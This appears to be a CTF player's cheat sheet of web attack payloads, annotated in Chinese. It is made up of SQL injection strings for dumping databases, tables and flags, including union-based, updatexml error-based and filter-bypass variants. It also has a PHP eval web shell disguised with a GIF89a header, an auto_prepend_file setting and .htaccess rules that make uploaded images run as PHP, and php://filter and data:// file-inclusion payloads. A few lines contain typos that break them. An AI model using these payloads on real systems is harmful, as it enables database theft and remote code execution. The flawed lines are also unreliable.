1' order by 位数 --+
-1' union select 1,2,3 --+
-1' union select 1,2,database(); --+
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='test_db'--+
-1' union select 1,2,group_concat(id,flag) from test_tb --+
-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)
1' order by 4--+#爆字段%23=#
1' and updatexml(1,concat(0x7e,database(),0x7e),3)--+#爆库
test_db
格式错误0x7e :1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test_db',0x7e limit 0,1),3)--+#爆表
正确格式name=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='wfy' limit 0,1),0x7e),1)--+#爆表
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 0,1),0x7e),3)--+#爆列
正确:1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='wfy_admin' limit 0,1),0x7e),1)--+
1' and updatexml(1,concat(0x7e,(select flag from test_tb,0x7e limit 0,1),3)--+#提取flag
正确:1'and updatexml(1,concat(0x7e,(select id from wfy_admin limit 0,1),0x7e),1)--+
1' and updatexml(1,concat(0x7e,(select id from wfy_comments limit 0,1),0x7e),1)--+
#用mid或reverse函数都可以提取完整flag
id=-1 union selet 1,database(),3,
select group_concat(table_name) from information_schema.tables where tables_schema='sql' limit 0,1;
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag%23
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23
绕过下划线的话可以考虑用 加号(+) 左中括号([) 空格( ) 点号(.)
<?php @eval($_POST['cmd'])?>
GIF89a
auto_prepend_file = 1.jpg
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
(select column_name from information_schema.columns where table_schema='test_db' and table_name='test_tb'limit 1,2)
php://filter/convert.base64-encode/resource=文件路径
url ?file=php://filter/read=convert.base64-encode/resource=flag.php
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= //使用base64编码
<FilesMatch "c.jpg">
SetHandler application/x-https-php
</FilesMatch>